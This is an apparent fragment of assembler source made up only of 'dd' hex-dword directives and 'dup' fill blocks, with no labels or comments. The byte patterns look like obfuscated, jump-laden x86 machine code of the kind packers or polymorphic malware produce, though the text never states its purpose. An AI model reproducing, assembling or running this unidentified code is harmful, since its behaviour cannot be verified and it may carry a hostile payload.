80604D48h, 8061CEF6h, 850F20E1h, 0Dh, 5E852h dd 68F40000h, 5ADD37AEh, 0AA80BF5Ah, 8E97954h, 55000000h dd 14984F24h, 0FF11A9Bh, 588h, 0E6816600h, 8B564B09h, 7E959FEh dd 0C4000000h, 0C01F5AB0h, 0BF0FB965h, 11E951FBh, 43000000h dd 7DF0ACCCh, 6D9072C2h, 282E00FCh, 21CDD0A1h, 0AE959h dd 2C70000h, 8AA1622Fh, 0C9628704h, 0F38B6660h, 14E9h dd 5189A200h, 0AD42BC80h, 0B26E13Fh, 77C40754h, 0D943E788h dd 80FC6197h, 850F94C9h, 5, 0B88BA9BFh, 1850F31h, 0FC000000h dd 25BAA9B4h, 0E93842B1h, 0Eh, 0DA674033h, 0FF4EAD6Bh dd 0FAE7B94Eh, 66F98D7Fh, 50DAC281h, 0FE9h, 47A2F500h dd 7D3FD91Bh, 1C15EAC7h, 0F3D6602h, 0E9D8B70Fh, 6, 0A3882343h dd 5E9DD6Dh, 8C000000h, 5EAA6790h, 0AE9h, 0DA4A5C00h, 0DA178970h dd 66D5FF3Bh, 5F2BEF81h, 0BA666060h, 0F611A20h, 0F961C2BFh dd 5840Fh, 0DBA0000h, 0E96E78ABh, 6, 16534C22h, 6BB21683h dd 816660F8h, 60DF55DEh, 0F88BE4B5h, 0B70F6161h, 780BBEFBh dd 0BF66452Fh, 0C681CED6h, 685B319h, 8BDA8B66h, 0BE9F5C6h dd 0DE000000h, 0D723602Ah, 0C672107Ah, 81608800h, 58FEDAD1h dd 0D0E48049h, 8B665261h, 8B665AC2h, 5E8F1h, 82E30000h dd 0BFAAA401h, 7CC690B2h, 81FA8B5Fh, 0E891CFD0h, 80DA8B3Fh dd 0E850F6C5h, 11h, 2DB757A4h, 65E95B30h, 0C1251358h, 63A0195Fh dd 8D0F2Ch, 5B000000h, 9D18BE5Eh, 0BF663E1Fh, 0AE8D575h dd 6D000000h, 0ADC017FFh, 0A92F2F05h, 0FEBF0F68h, 10E95Eh dd 3AB90000h, 0E549398Bh, 0F598E6A9h, 1A17C968h, 5253F2F5h dd 5EC3B70Fh, 15840F58h, 57000000h, 0EE9h, 33D37800h, 137B5622h dd 0B69FB7Eh, 5FEF4FB1h, 60C68B66h, 9E8h, 0D366D000h, 0E53CF2E1h dd 615B3B2Eh, 5E8h, 0D1AEDA00h, 8B6643E9h, 60F958F1h, 0FE08166h dd 13E874h, 68290000h, 96EF108Dh, 0EB2FC195h, 5246F5B6h dd 2C1D19h, 5F6160FEh, 0E081F961h, 69B965FCh, 8A60F38Bh dd 1A8E0FCCh, 0E8000000h, 14h, 3DE1045Ch, 6C86EE90h, 0C7F4BDEBh dd 0AC6320FBh, 0FDF5A719h, 0FAB5615Eh, 8880Fh, 830F0000h dd 2, 0CC8A6160h, 14E9h, 62DFA600h, 99169F1h, 499ADA14h dd 0CFB63500h, 0A94B748h, 6E94Ah, 3D720000h, 0DD662223h dd 11E9h, 0CA84F500h, 1DAFEC00h, 99179E52h, 0AF5BBE5Ah dd 0EE82012h, 0C7000000h, 50600126h, 0E3A63B03h, 0F81CCB48h dd 29A1BAFEh, 0E9587732h, 14h, 7CD8FF88h, 203C3F12h, 7E6A2F5Ah dd 5C97A40Ch, 64E0ACh, 19800Fh, 0FE80000h, 21000000h, 494357C0h dd 3C4A769Fh, 752B111Dh, 0BF66ECC8h, 51585DC5h, 0D840Fh dd 7E80000h, 31000000h, 0A6991B07h, 5A5E7D61h, 1880Fh dd 8BF90000h, 8E0FF8FAh, 4, 0FF60B966h, 0CE9h, 46250600h dd 0D0F4F802h, 0C176F426h, 58F0F8Ah, 66000000h, 946D181h dd 355CB960h, 60503D83h, 66615B61h, 0AACC281h, 0F18153F8h dd 6BFE9812h, 0DA8B665Eh, 0FF2BF0Fh, 85h, 0EE800h, 0B1B0000h dd 0D95D05ABh, 5FE74499h, 0AFA6AFEFh, 80605BF9h, 0D18B29C1h dd 13E9F861h, 9000000h, 0EAA7F8EBh, 0DCA87175h, 2B255D79h dd 0C90DDAB9h, 0DE97842h, 69000000h, 0E81FB27Ah, 0C55923E2h dd 39FD1F6Dh, 14E9F98Bh, 0A0000000h, 994A9509h, 0F7805257h dd 0B9928945h, 90C5CA93h, 0E98B36C6h, 9, 0F11B980h, 0CA0C8437h dd 6BBE66B8h, 8A0FF8F6h, 3, 0BEDBB70Fh, 1B99662Bh, 0DE9h dd 79C4C100h, 0CB8DE535h, 837FD023h, 0BF0FDF49h, 0AE9DBh dd 58A30000h, 0B93FB571h, 0F59C5DC6h, 4DEC8056h, 68D0F5Eh dd 81000000h, 0E3A134D7h, 13E959h, 30020000h, 0D542D426h dd 1061BFEh, 0B7102540h, 1A1F14ECh, 8A0F516Dh, 12h, 0CE8h dd 49A9DE00h, 60021E75h, 4F16274Bh, 6659587Ah, 4D81CE81h dd 0A8B86660h, 6129B16Fh, 0FEC9CEBEh, 158D0F63h, 0E9000000h dd 10h, 20453C52h, 0DEC2F1CDh, 0C71EA03Eh, 69D01DF5h, 0E852D380h dd 0Ah, 47DA9BD4h, 21BA5183h, 840FB060h, 14h, 0FE9h, 48591C00h dd 89465A91h, 7CB59C1Dh, 56CE859h, 3830F58h, 0F000000h dd 6051C1BFh, 870Fh, 0BE660000h, 58616E0Fh, 0FB4DD80h dd 480h, 3BB6600h, 0CA8B6619h, 0BCFC91BEh, 0C8BA660Bh dd 0F9C58A82h, 2CEEBF60h, 820F4A42h, 6, 860Fh, 0F610000h dd 98Dh, 5A536000h, 0E29CD5B8h, 0F606147h, 0EB81C9B7h dd 33EFE039h, 0DFBF0F61h, 8B6660F8h, 10E850CEh, 43000000h dd 0AA3A1E1Dh, 0D8E139B3h, 5C1DC9BEh, 581F0E92h, 8157615Fh dd 0EAC95EF3h, 6E95E37h, 40000000h, 0A7ADBA15h, 0DE8B6649h dd 0D148E281h, 81661B43h, 0BBEC56F2h, 30102A90h, 5E9h dd 17A04D00h, 9E9CBBBh, 0C0000000h, 69B8FE20h, 335989BAh dd 0C0E580F5h, 0DE9h, 9000FE00h, 27A6F74Bh, 26FB7DCBh dd 13E9E87Dh, 96000000h, 0B190A6D6h, 694A05C6h, 21A31C04h dd 71D7206Fh, 840F0F1Ah, 5, 98DB8166h, 66DA8BE7h, 0B70FDE8Bh dd 48E0FD7h, 66000000h, 574FD2BEh, 0CC28BB66h, 55B8665Bh dd 7357BA9Ah, 0BF0F4D5Bh, 0F5B50F8h, 138Ah, 0EE900h, 17D0000h dd 3E4D7E0Dh, 4FC20815h, 4F80BA76h, 0F1ECF80h, 0F380F7B7h dd 98F0FC3h, 0F000000h, 38Dh, 0CFBF0F00h, 0EE8F5h, 0F71A0000h dd 3CF1BF5Fh, 0D162FF12h, 0B1CBCBD5h, 525A31B1h, 5BD9E880h dd 10E9h, 4B61AC00h, 0BFCB9996h, 39E38D8Dh, 27665C31h dd 8E80Bh, 0B30B0000h, 0EF6CCAC8h, 0D18B0AF2h, 0FEBF0F5Ah dd 2830F60h, 8A000000h, 0D18B66CFh, 7FE88161h, 0E856010Ah dd 0Bh, 0E619CDD8h, 11859448h, 60A19623h, 0EE8A5851h, 0BF0F5861h dd 6E9D7h, 533A0000h, 11992CA4h, 8D0F53h, 5A000000h, 58B0Fh dd 81660000h, 0E9B286D8h, 12h, 258D47F4h, 0C19DD59Bh, 94BC32E7h dd 0F4104C39h, 8A0F0B08h, 2, 0BF66F98Bh, 0B9FC1622h, 6F87E9EEh dd 18F0FF9h, 0F9000000h, 0E881CF8Bh, 6491A170h, 0D9BF0F57h dd 0ECD58058h, 5830Fh, 81660000h, 81A2A4DEh, 36F87C6h dd 0DAB70F4Eh, 108A0F51h, 0E8000000h, 0Ah, 0B0D197BFh dd 16921481h, 5E5FB1CCh, 0FE9h, 0BAAF1300h, 0DDBBB19Fh dd 3428AB30h, 0C620F8DEh, 0DE8h, 0FC030300h, 0AA54B0DEh dd 0FBF9E3CDh, 8E0FB562h, 14h, 0EE8h, 2D45E300h, 78AFE186h dd 93FA93A9h, 5FD2AE1Dh, 7E95Bh, 0C2110000h, 14E0BC3Eh dd 2BBF6663h, 60B86623h, 0C5BF6671h, 0BF0F52F1h, 67B958F8h dd 661DDA66h, 8AA95EB8h, 8B66F5CCh, 28D0FC7h, 0B6000000h dd 812AB6A3h, 3EFF6FF0h, 8C0F5056h, 6, 870Fh, 0F590000h dd 810FF2B7h, 15h, 10E9h, 0E7368A00h, 7BD3E0D1h, 406561FEh dd 0C32A9319h, 0D0BF0F23h, 0D8816160h, 1D7F2C0h, 426077BEh dd 0D1816676h, 0D98BFF4Bh, 0CF18166h, 0D0BF0F8Fh, 0E840Fh dd 9E90000h, 0EF000000h, 231BE13Ah, 2FBBFB20h, 0CE9DE8Bh dd 42000000h, 0F1DDC296h, 5B6EFD72h, 0E9221DBFh, 0Ch, 8002FEAAh dd 7F02F7C7h, 0CB0C33C5h, 0DB81FC60h, 2BE286E0h, 8BF7B661h dd 66D78BD8h, 0E9E1B7BBh, 13h, 0A25EBC9Ch, 38BB5662h, 6DD7FCCAh dd 6AECED29h, 0E9D43DBDh, 0Fh, 3C9EA90Dh, 0F9FC9411h, 93C59F6Eh dd 0BFE7AA56h, 47BD2115h, 33ACB966h, 0DF3781BFh, 0D7816670h dd 0EE99B1Eh, 4000000h, 1A93C9FCh, 65E03379h, 4AFAB899h dd 14E968h, 0FDD60000h, 9F2B33EAh, 0C394DE38h, 218D0BE5h dd 0F06C85B1h, 6660FBBDh, 2B5EE181h, 0CF18166h, 8166617Eh dd 0F59F85E0h, 0FD1B70Fh, 38Eh, 0DFBF0F00h, 24A4BB66h dd 0F510B866h, 0E9F7BF0Fh, 0Bh, 0D77F8448h, 0B40E39B6h dd 0E9F3CFE7h, 0Ch, 995AB2F7h, 8E34D847h, 0A4FCF17Fh, 0CE850h dd 7DDF0000h, 7CA2A827h, 675EBB1Ch, 0EABA8A18h, 5913BA8Ch dd 0F23B558h, 1B88h, 12E800h, 43AC0000h, 7DF0ACCCh, 6D9072C2h dd 282E00FCh, 21CDD0A1h, 5BFABF0Fh, 5656B6B2h, 9FC2E081h dd 5E5B566Fh, 0E95BF957h, 13h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h dd 0CDA58DC7h, 80C7F6A4h, 0C18B97F7h, 0F8BF0FF9h, 0D4471AB9h dd 66D18A35h, 47A5EF81h, 0BE8h, 80F0F900h, 0E6052AE5h dd 88B34B6Ch, 0F59F58Ah, 8166F7B7h, 0F986FD7h, 0D78BFFB7h dd 0BACEBF0Fh, 0B82974Fh, 0CE9h, 6CC05000h, 7365929Dh dd 3098685h, 58D0F82h, 0BA000000h, 49A6C989h, 6E9h, 0C1BB0500h dd 6634D295h, 3C9BE181h, 18800Fh, 0E8510000h, 10h, 0C3C74CF6h dd 6480692Eh, 1BAEC4A0h, 36D86996h, 0F605F58h, 0F60CBBFh dd 0F28BD8B7h, 0AE96161h, 0ED000000h, 3E769B30h, 0B4A0F488h dd 820FF8E1h, 13h, 0EE9h, 0F9B07900h, 487491FAh, 3A10D22h dd 0F33605Ah, 587h, 0D1816600h, 0C681DE00h, 508833C4h dd 0A212CA81h, 8F0F2500h, 9, 3830Fh, 8B660000h, 66D38AD6h dd 7A89D381h, 53D2B70Fh, 0E3ECB866h, 39E1815Eh, 0F557EBEFh dd 8E8h, 0B39DFF00h, 0A0ABC89Ah, 5E8C5h, 39740000h, 66F616ECh dd 59F7DBBAh, 0FE95Fh, 0FE3A0000h, 55D1912h, 13C51Fh, 332BA79Fh dd 0CE91Ah, 1C840000h, 446B7323h, 0E2912059h, 820FE932h dd 2, 0C080D68Bh, 18A0F11h, 0FC000000h, 9E8F5h, 0F7280000h dd 290F435Dh, 5FD5F3FFh, 66C78B66h, 0F53FA8Bh, 587h, 0D7816600h dd 665E0210h, 66B898BFh, 0F70A2BAh, 1B8DFB7h, 0F3553A6h dd 7E9D6BFh, 57000000h, 0F2134FA5h, 8B66F4A6h, 81F08BDEh dd 3851B5F1h, 88F1817Dh, 0F7BF337h, 8Ch, 8BDD8A00h, 805852F8h dd 0BF0F05CEh, 5F32B9C8h, 0B70F460Eh, 9E9D9h, 4A0A0000h dd 0BC231718h, 0F320497h, 0F081D1B7h, 6DEAF305h, 0C5FD081h dd 880F68EFh, 5, 4A96C4BAh, 0BE867h, 762F0000h, 0C954A55Ah dd 6A67D05Bh, 0FE8B6666h, 0FF8F859h, 86h, 12E96000h, 0B3000000h dd 1210DA6Ah, 671BA56Bh, 0FC382D0Fh, 0ED015D3Dh, 0FCBA6694h dd 4AB961BEh, 0BE2CE381h, 0FDCB21Dh, 81FEBF0Fh, 0E96806DAh dd 0FFA8B4Dh, 2EB2F7BFh, 0F51F18Bh, 8Fh, 0C6815E00h, 40E1DCE1h dd 0FC5DCB80h, 2860Fh, 0FC8A0000h, 0FF9BF0Fh, 14E8DBBFh dd 0D4000000h, 2955A615h, 0D5D921A5h, 1416E03h, 0CD3A93E9h dd 0BA9EED73h, 3D151430h, 0D0BF0F59h, 0F5F78B66h, 99E98166h dd 0CEB70F12h, 6E852h, 3BAB0000h, 4D3DECCEh, 0C85477B8h dd 0F5B5813h, 882h, 2880F00h, 8B000000h, 0E9DF8BF1h, 7 dd 48352AF5h, 0E9E9C51Dh, 14h, 230ADF7Eh, 0C0FCADC1h, 0EE53A458h dd 0AF283C87h, 0CB8056B9h, 8B7AB966h, 0FDF8BF8h, 58Bh dd 0E49B900h, 8F0F1E67h, 13h, 0EE9h, 9339E500h, 13D9374Ah dd 0BD3F19D4h, 0F8C0FE0h, 582h, 5A23BE00h, 0F602D7Bh, 8Ch dd 81666100h, 0FCAB9E6h, 9B8FFB7h, 0F81CDE7Eh, 13870Fh dd 0EE90000h, 5B000000h, 0B98F1C90h, 29682F6h, 6D482528h dd 0EE8166E4h, 43BA3056h, 817BBA03h, 43391BF0h, 0C7816623h dd 0B966D249h, 0BE84E43h, 0FD000000h, 893E590Ah, 0AB729F25h dd 0FB8B14E2h, 8D0F59h, 0F5000000h, 5BE28166h, 0CE9F819h dd 0B6000000h, 0F170D259h, 23D0170Fh, 52E65B87h, 588FE281h dd 515E4731h, 59C8B70Fh, 3800Fh, 8B660000h, 0FE9C6h, 81080000h dd 4514823Ch, 0D9682588h, 314258BEh, 0FE6B837h, 0B9F831FBh dd 0F10D83Dh, 0B0DAB70Fh, 0E9FCFC83h, 0Ah, 508F5D0Bh, 0B7959458h dd 81BB67DBh, 0E963FC53h, 0Bh, 7DD0B112h, 0CE43E6E2h, 8BEDE664h dd 0C6BF0FCEh, 0F914BE66h, 0BFD78166h, 0E903B205h, 8, 78B14A3Dh dd 52189F4Bh, 0BBF7BF0Fh, 0CDCFD23h, 996D50B9h, 0CE84Dh dd 55D60000h, 0F7C98899h, 0FAC23544h, 0F56600Ch, 87h, 515A5900h dd 5E9h, 27445900h, 0E8592C89h, 6, 5D859856h, 820FAF59h dd 5, 0D679A6B8h, 81F85910h, 0F46C14E0h, 0A0BE666Eh, 8B665077h dd 9FB05FC6h, 14E9h, 35290500h, 54B1EE95h, 0E261C565h dd 66C8EF22h, 2651B75Bh, 0E8C38B7Bh, 12h, 4CF82A46h, 0E82B4E01h dd 0AC69E27Eh, 0BEC1CFFh, 5BFCBF4Ah, 0E8F28B66h, 6, 0EFB47661h dd 0B70FBE6Ah, 820F59C9h, 2, 0BF0F51B3h, 6651F8D8h, 7640C181h dd 28E0F58h, 0B4000000h, 6A8FB997h, 0CE8B4B7Fh, 24EF8166h dd 80CB8076h, 0FE9C78Bh, 92000000h, 8435BEACh, 0C916E98Ah dd 0B06BDF25h, 8E0F801Bh, 0Bh, 6E9h, 0D1F7AC00h, 60288310h dd 0FB1588B9h, 61D98A4Eh, 5890Fh, 81660000h, 0FFE04E6h dd 287h, 8BF88B00h, 0FE8CBh, 109D0000h, 9F95ACDFh, 0E5FC40E2h dd 68AA81EEh, 28E0FF4h, 53000000h, 0D0805F58h, 84DBB8E1h dd 0F48A726Eh, 9B0CBE66h, 13E960h, 33220000h, 0FEF11163h dd 7A9D441Fh, 0BE28E58Eh, 769E2399h, 850F617Bh, 5, 37E982BEh dd 8E920h, 21630000h, 93CE38AFh, 81667391h, 60663BC0h dd 2840Fh, 0FD8A0000h, 61DF8B66h, 9E8h, 0A3E72800h, 2E528C2h dd 80594415h, 8B66BAD3h, 0D08B66FBh, 0F9CE8B66h, 66C88B66h dd 0F511D781h, 64E47ABFh, 0A890F3Eh, 0E9000000h, 5, 270F81CDh dd 70C580AAh, 0D880F56h, 0E9000000h, 8, 0AFFF75E0h, 6D4DA76h dd 5E95Fh, 52690000h, 0F264FF2h, 587h, 0DE816600h, 0B86640A2h dd 79BA8138h, 0E9314835h, 0Ah, 0F089C358h, 50E2CF70h, 66FC5B95h dd 8166D38Bh, 0F23BDDFh, 58Ch, 0AFFFBF00h, 81664099h dd 6601DCC1h, 0DF80FE8Bh, 0FE92Ah, 0D3600000h, 4171ACFBh dd 8320DBA2h, 0BAE34B8h, 0DAC4805Ch, 0B8F0Fh, 820F0000h dd 5, 0F9DB8166h, 0F2BEF893h, 0E83D852Bh, 14h, 0CAC087Fh dd 59CEDE92h, 7711F1FAh, 0FE9983CFh, 0F07563F7h, 0E0816659h dd 8A0F1CDCh, 8, 28C0Fh, 61600000h, 0AEEA8166h, 9E9EAh dd 3A880000h, 0DF5D5B74h, 0F4FD093h, 0BB53C8BFh, 7D14D2A8h dd 0F08B665Ah, 774EE9B8h, 0B4D88024h, 0BE4FDF81h, 0E8606702h dd 8, 0DD3B2E6h, 723A1628h, 840Fh, 0BB5F0000h, 67F1BB85h dd 13E961h, 0C45D0000h, 15A1A795h, 24BA5261h, 130A2F7Ah dd 8FF8031Fh, 3810FC5h, 80000000h, 66602AE5h, 0E861CE8Bh dd 0Ch, 792E935Dh, 0C2BAA86Fh, 0FCEB6D19h, 2880Fh, 0EF8A0000h dd 1C840F5Bh, 0F000000h, 1681h, 11E900h, 0EFD10000h, 0FFF5D981h dd 57D6B92Fh, 3B1CFC89h, 0F5D5329h, 50FCD7BFh, 5E9h, 0D48C4400h dd 665F8220h, 669FE281h, 0FE9h, 643E3A00h, 2482AC96h, 3FFF8542h dd 3D80D803h, 148A0F53h, 0E9000000h, 0Fh, 56502D57h, 0CEE46CD9h dd 0B67C5C87h, 58958040h, 0CE960h, 1A710000h, 0A38FA60Fh dd 0CAEB332Ah, 8D0F852Dh, 6, 8B0Fh, 0F610000h, 8B66F9B7h dd 178A0FC6h, 0E8000000h, 0Fh, 0D33E63AAh, 0C4E4F2B9h dd 0B66D5272h, 8A0DF537h, 0FFC5FF8h, 288h, 81D88B00h, 0EDF046D9h dd 0BAB8661Ch, 0C2B70F2Bh, 14E960h, 36BE0000h, 0C819B733h dd 0C8E0A0E0h, 0E175DA91h, 5652C57Ch, 0D18AB96Bh, 0EE861h dd 0EFCB0000h, 0C0CC179Bh, 51780708h, 70D90241h, 60F558F8h dd 14E957h, 5AA80000h, 0FE33CF27h, 365842E9h, 3D0438A5h dd 26CE9515h, 0F5E8EEAh, 0F61D8B7h, 588h, 0C2D0BF00h, 8E92928h dd 95000000h, 956881BCh, 817D3A23h, 85C3C1F7h, 7E841h dd 0EBCD0000h, 35834B9Ch, 0FE8B6637h, 12E85Bh, 268E0000h dd 94C1D82Ah, 0CF6E292Ch, 0EC24D470h, 207E3653h, 0F5B36B5h dd 1889h, 13E900h, 0D4340000h, 782CD5C8h, 35B62B3Ch, 3D16A50Ch dd 3F65967Fh, 0C78166E9h, 8166588Dh, 0F84AED2h, 8166F8B7h dd 8B2140C7h, 6E960D7h, 0D8000000h, 5C1DC9BEh, 0EE992h dd 0AFF50000h, 9A2D518Ch, 0CCBF0402h, 1B6D09E8h, 0F3816661h dd 0BE668C0Fh, 0EE98F84h, 36000000h, 3E7D74C4h, 0F5FB1A45h dd 10174FE9h, 0E18053E9h, 66F95893h, 0B67700B9h, 0C3F4BEBCh dd 0CC8A36C2h, 0EE9h, 0E5D74400h, 19B88E57h, 85671DBh dd 8082984Dh, 11E9AFD5h, 0A2000000h, 0D71EB048h, 0CD83E3CFh dd 87022FA2h, 90B1D280h, 5D28166h, 0D9B70F58h, 659BBA66h dd 11E9h, 775DC300h, 5BA6A32Bh, 0FC4A36F7h, 25DF5F57h dd 0BF0F0D15h, 0F950F5C0h, 0C1B70F5Eh, 6E9h, 1F2FB500h dd 6682ED4Fh, 804E6ABAh, 6E84FC0h, 5000000h, 0E538EC5Bh dd 815FF912h, 0D5A36DE0h, 18A0F6Bh, 0F5000000h, 3810Fh dd 0DD800000h, 0B9666085h, 666132ABh, 0C8CCF681h, 0E0C08166h dd 0F2BF0F58h, 0BB66D98Bh, 0FD8A5E96h, 2C4188BEh, 4B52B974h dd 8B664303h, 6E9CAh, 485B0000h, 9829FE73h, 0A8D0Fh, 8B0F0000h dd 4, 254EB866h, 81F38B66h, 8AE66BD7h, 0EABB665Fh, 0E7816692h dd 810FBC57h, 9, 38B0Fh, 8B660000h, 1ACA81D7h, 0B87401BCh dd 31D252B5h, 13E9h, 90811400h, 1E202082h, 4D0F8747h, 7C31D9C5h dd 9C010A35h, 58B0Fh, 81660000h, 0B8DEFFDAh, 0B0F382Fh dd 0B65AF853h, 79E88139h, 507FA510h, 98A7BE66h, 0CB8B6059h dd 61D78B66h, 0EE27B966h, 0ECBAF681h, 8C0F5359h, 15h, 0F8C0Fh dd 0AE90000h, 16000000h, 569831BDh, 0F2F7B751h, 0CE962h dd 63D90000h, 0AE1C6177h, 11DBF903h, 0CE8D0B9h, 42000000h dd 0DDFAFD66h, 30F22DF9h, 0E9249CB6h, 9, 17DA4B75h, 0E900EDF5h dd 0BF0F5EACh, 0AABB66C6h, 5E95234h, 2D000000h, 775196D3h dd 41D7805Ah, 77DB8166h, 0C0B70F10h, 2AD08060h, 491EC181h dd 0F617251h, 0F8BFF6BFh, 0F5DE4FCh, 38Dh, 4FC38000h, 0CE9h dd 70779C00h, 0FE50452Ch, 923F0868h, 1D890FDFh, 0E8000000h dd 11h, 87E6AE29h, 927A4964h, 0CC05380Ch, 0F2183FCEh, 880F0Dh dd 5B000000h, 0AE9h, 94B09E00h, 0C0A2848Dh, 0F03138Eh dd 0C82h, 68C0F00h, 0F000000h, 8Bh, 0FFE8B00h, 584h, 0BF0F5600h dd 5E95ECFh, 0D4000000h, 3653EC24h, 5E860h, 11F00000h dd 668A4060h, 34A6E781h, 0BE666159h, 0AE8314Eh, 1E000000h dd 8F2BC3F2h, 7613135Eh, 58B0FA6h, 0BB000000h, 59A5A349h dd 0E8CCB759h, 10h, 546E8CF6h, 1CEEC6F8h, 92DA1C8Dh, 8435BEACh dd 0CE9h, 871D8200h, 0AAFD1665h, 9AC863DCh, 0B8665E5Fh dd 8B0F5EA7h, 19h, 14E9h, 0B286DC00h, 38C9F333h, 828F9FD8h dd 272C6AF5h, 0E8B7AC61h, 0FC30BB4Ah, 0F857072Eh, 0FCF7815Bh dd 8015E414h, 0BA66DDC8h, 0CF815830h, 1476F7A1h, 0FE8h dd 0A2E12300h, 0C7EF673Bh, 0EE70E98Ch, 5FD8F8A6h, 5FC3BF0Fh dd 0EE8h, 0DCFD6800h, 1B7C2F3Ch, 8CB136FCh, 0E953A533h dd 14h, 5AC6DC9Fh, 0B6AB06D5h, 0E8F95EB5h, 0CAD46E0Ch dd 0CD974BF0h, 0D1BF0F5Fh, 0F960FABFh, 0F7DC8038h, 6060CA8Bh dd 0CE9h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h, 16B86688h dd 8166610Bh, 61C27EE3h, 0AE9h, 0E9AEE200h, 781020D2h dd 0E9974620h, 12h, 0D050B724h, 879AE082h, 0D60C3028h dd 0E3AEBC0Ch, 0DE9BFD0h, 0F000000h, 0AFFC8294h, 9CA8316Dh dd 5DA64D56h, 0DE860h, 16210000h, 374D21D1h, 11F76C32h dd 8AA7DEDDh, 840F5EECh, 2, 0F861F0B0h, 0AE9h, 9DA01300h dd 790434BEh, 8B029FF5h, 46D380F7h, 8E8h, 0C9B7E300h, 69EA73F4h dd 0E85AF9E4h, 8, 94A4BB92h, 4955C601h, 0E8FA8B5Bh, 0Dh dd 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h, 8E8A1h, 3D6D0000h dd 0E824A004h, 13E8A571h, 1F000000h, 0A39A3484h, 0C2D7DB87h dd 4AB7CED4h, 0C209B7A3h, 5B599A06h, 0C88B665Eh, 0CE8h dd 0CA0ED700h, 5A13D7F2h, 795A9210h, 20EF81F3h, 5841230Eh dd 0EE9h, 0CD5E6100h, 16C959CFh, 2FA86AE9h, 0F931748h dd 684h, 0A1E88100h, 8B1E0136h, 8146B5FBh, 88ACECF6h, 2EB802Dh dd 57D18B66h, 2930ADB8h, 9CBF5F1Bh, 0B827F046h, 5BCA3194h dd 0EE8h, 0F41DB100h, 5B7B5E67h, 99A0EF4Ah, 66C25CEDh dd 59FF69BFh, 481CBA66h, 4850Fh, 8A530000h, 0EB8059D8h dd 66C18B3Ch, 53C78ABEh, 0B4DE8166h, 0F565A71h, 138Dh dd 0EE900h, 26F10000h, 8FE2DC9Bh, 6C3446AFh, 4C006AB1h dd 0FFB70F5Ah, 0FDF8BF8h, 589h, 0F2816600h, 7E98554h, 67000000h dd 39F7A4ECh, 0AE9DD9Dh, 0A1000000h, 0FE73485Bh, 74DE9829h dd 60F08B9Fh, 13E8FCB4h, 66000000h, 3D4B26A1h, 0B39A6442h dd 0F7A934A9h, 7CB6D0A4h, 8A0F2F50h, 0 dd 0D081615Fh, 36F6B47Dh, 61605350h, 0DB805A5Eh, 3AB966CAh dd 0A4DC802Dh, 0E860F38Bh, 5, 94CA40A0h, 815FF99Fh, 454403E8h dd 0FA8B6145h, 0FE9h, 0BF95CC00h, 81B0D197h, 0CC169214h dd 5F1D4AB1h, 8E9D38Bh, 4B000000h, 2B484348h, 60522412h dd 6850Fh, 0D6810000h, 68713D13h, 48A0F61h, 66000000h dd 0E8611EB8h, 0Eh, 68E4E60Dh, 695A627Eh, 4D68E934h, 8B6629F8h dd 0D18B58F3h, 0D800Fh, 66600000h, 72CED881h, 890Fh, 0F610000h dd 83h, 13E900h, 0F61B0000h, 2EC3C74Ch, 0A0648069h, 961BAEC4h dd 2536D869h, 0C8B70FF6h, 0E8D88166h, 0D8BF0FFCh, 66FE8B66h dd 60A6A1B8h, 26B1C28Bh, 665AB461h, 80F8D38Bh, 800F9BCFh dd 2, 0FE8B4EB6h, 1E6FC381h, 8B666FACh, 1D810FC1h, 0E8000000h dd 7, 0AD5EC1C2h, 0E9F7C603h, 0Bh, 90F7E537h, 0E7B292F8h dd 5837A02Dh, 0FFBBF0Fh, 189h, 8B66F500h, 8128B0CFh, 0CD2A37DFh dd 9E90Ch, 18CB0000h, 0CEC327AEh, 6076D0E4h, 8671C781h dd 0B70F7F73h, 0F55061DAh, 4BF665Fh, 0C8816628h, 81667C17h dd 0E82AA1DAh, 7, 727DE0DBh, 0E92EC731h, 14h, 0B24BADD6h dd 0FCA89146h, 6C524B0Dh, 0EA13A717h, 0E8E12989h, 8B66FC59h dd 6860FF2h, 81000000h, 0B28F82E0h, 0FE940h, 60F0000h dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 0F7BF0F3Eh, 6DBBD38Bh dd 810242B7h, 549F5FF0h, 0D081665Dh, 0F51938Bh, 0B15AC0BFh dd 0EE824h, 0CC9E0000h, 0B4FFD439h, 26287DE6h, 7AA39FDCh dd 0F85FC78Bh, 13E9h, 0B02D3700h, 0F372370Dh, 705CDB7Eh dd 0A8BF401Bh, 7F800A2Ah, 19820Fh, 14E90000h, 0DC000000h dd 19CDD826h, 859448E6h, 0A1962311h, 9A86F476h, 668707ADh dd 0C609EF81h, 8830Fh, 56600000h, 5EBE6659h, 51B66121h dd 1D57BA60h, 0E8527789h, 0Eh, 828D5252h, 0EFBF5DFBh, 5885250Fh dd 5B59E7B3h, 8166F861h, 8B97FCE8h, 4748B8CEh, 0C2814690h dd 236768Dh, 6994BE66h, 0CB8097B5h, 14E9FCA3h, 70000000h dd 2C7131B4h, 0F09600D4h, 0F29FA527h, 3F6E595Ah, 8BFC5978h dd 7E8DAh, 83C80000h, 0B5E5ADA0h, 0F98A5FCBh, 80CAC280h dd 0FC5114EDh, 5E95Eh, 6BE20000h, 802F6DD5h, 0F38BFDF2h dd 7C51B866h, 0CE8B6656h, 0DF81665Ah, 0F517324h, 68Ah dd 93D18100h, 5951752Ch, 0E958F552h, 8, 9C4AD622h, 1B1E0C78h dd 0B70FBAB1h, 6E8FBh, 0CE9F0000h, 0D3F14C48h, 9CE18166h dd 0E8515E9Ah, 5, 2F77F1C8h, 6DBE6641h, 0F5585AA2h, 12E9h dd 9AEF6400h, 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch, 66CA353Ch dd 0E960DE8Bh, 11h, 0A34180ACh, 3603DDF4h, 0EC34C62Eh dd 0D8456483h, 6820F22h, 81000000h, 8234B3D0h, 8166617Fh dd 0E90F90F0h, 0Dh, 0A84299AFh, 4551F4B7h, 1698F1E3h, 0C7BF0F6Ah dd 0FE8h, 68213200h, 3E780E35h, 1BA1759Ah, 4AA3EFE3h, 5BD2B70Fh dd 0FD0C980h, 0B70FCBB7h, 0C08166FEh, 13E8F370h, 44000000h dd 0A7F19862h, 1C29DA1Dh, 38449CD6h, 20FFE08Dh, 800F4E87h dd 12h, 0DE9h, 0B6B16000h, 0FBB9EA63h, 545D8E22h, 0AF5B7A21h dd 132h dup(0AF4AAABDh), 84290FBDh, 26Ch dup(84290F65h) dd 0A0245365h, 1BCh dup(0A0245360h), 0CD245360h, 633h dup(0CD9F5098h) dd 9A88FF98h, 0B6h dup(9A88FF30h), 